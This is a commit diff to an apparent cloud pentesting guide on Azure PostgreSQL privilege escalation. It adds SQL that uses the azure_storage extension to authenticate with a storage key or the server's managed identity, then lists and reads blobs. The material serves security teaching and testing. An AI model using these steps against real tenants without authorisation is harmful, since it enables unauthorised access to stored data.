fix postgresql

src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md

@@ -51,13 +51,25 @@ az postgres flexible-server identity update \
     --system-assigned Enabled
 ```
 ```sql 
-
+-- Make sure the extension is installed
 CREATE EXTENSION IF NOT EXISTS azure_storage;
 
-CREATE EXTERNAL DATA SOURCE ManagedIdentity
-
+-- Login using storage keys
 SELECT azure_storage.account_add('<storage-account>', '<storage-key>');
+-- Login using managed identity
+SELECT azure_storage.account_add(azure_storage.account_options_managed_identity('<storage-account>', 'blob'));
 
+-- List configured accounts
+SELECT * FROM azure_storage.account_list();
+
+-- List all the files in the storage account
+SELECT *
+FROM azure_storage.blob_list(
+    '<storage-account>',
+    '<container>'
+);
+
+-- Access one file inside the storage account
 SELECT *
 FROM azure_storage.blob_get(
     '<storage-account>',
@@ -66,7 +78,6 @@ FROM azure_storage.blob_get(
     decoder := 'text'
 ) AS t(content text)
 LIMIT 1;
-
 ```
 
 Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it: